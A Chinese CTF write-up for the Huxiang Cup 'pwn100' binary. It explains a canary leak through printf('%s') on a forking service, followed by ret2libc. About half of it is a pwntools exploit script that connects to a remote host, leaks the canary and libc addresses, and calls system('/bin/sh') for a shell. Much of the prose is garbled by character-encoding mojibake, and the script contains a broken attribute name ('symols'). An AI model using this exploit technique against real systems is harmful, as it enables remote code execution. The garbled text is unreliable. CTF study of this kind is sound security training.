湖湘杯的pwn100
一開始一頓操作猛如虎,其實(shí)是base64(因?yàn)橛械忍?hào)?。?/p>
checksec一下發(fā)現(xiàn)開啟了canary保護(hù)
emmmm,棧上的數(shù)據(jù)大概是這樣:
| 輸入數(shù)據(jù) | . . . . . . . . . | canary | . . . | 返回地址 |
最后用printf("%s")打印輸入數(shù)據(jù)的base64解碼結(jié)果:
這里如果我們輸入的數(shù)據(jù)正好和canary連起來的話,在打印結(jié)果的時(shí)候就會(huì)連帶這canary的值一起打印出來。
由于canary的低位總是\x00,會(huì)把%s截?cái)?,所以我們的輸入?shù)據(jù)要一直覆蓋到canary的低位
可是這樣顯然更改了canary,即便得到了canary,可是最后程序會(huì)檢查canary會(huì)失敗,無法進(jìn)行下一步的利用。幸好程序里使用了fork,復(fù)制出了兩個(gè)一模一樣的進(jìn)程,當(dāng)前進(jìn)程canary檢查失敗后可以接著從頭開始執(zhí)行另一個(gè)進(jìn)程,而這個(gè)進(jìn)程里的canary和之前我們泄露出的canary是一樣的!
附上大佬的exp:
from pwn import *
from base64 import b64encode
e = ELF("./libc.so.6")
test = 'a'*4
p=process('./pwns')
p = remote('114.215.128.141', 10080)
p.sendline('Y')
p.recvuntil('datas')
payload = 'a'*0x102
p.sendline(b64encode(payload))
p.recvuntil('a'*0x102)
canary = u32(p.recv(3).ljust(4, '\0')) << 8
p.recv()
p.sendline('Y')
p.recvuntil('datas')
payload = 'a'*0x101 + p32(canary) + 'a'*0xc
p_r = p32(0x08048b27)
payload += p32(0x08048530) + p_r + p32(0x0804a014)
p.sendline(b64encode(payload))
p.recvuntil('a'*0x101 + '\n')
e_leak = u32(p.recv(4)) - e.symols['printf']
p.sendline('Y')
p.recvuntil('datas')
payload = 'a'*0x101 + p32(canary) + 'a'*0xc
p_r = p32(0x08048b27)
payload += p32(e_leak + e.symols['system']) + p_r + p32(e_leak + next(e.search('/bin/sh')))
p.sendline(b64encode(payload))
p.interactive()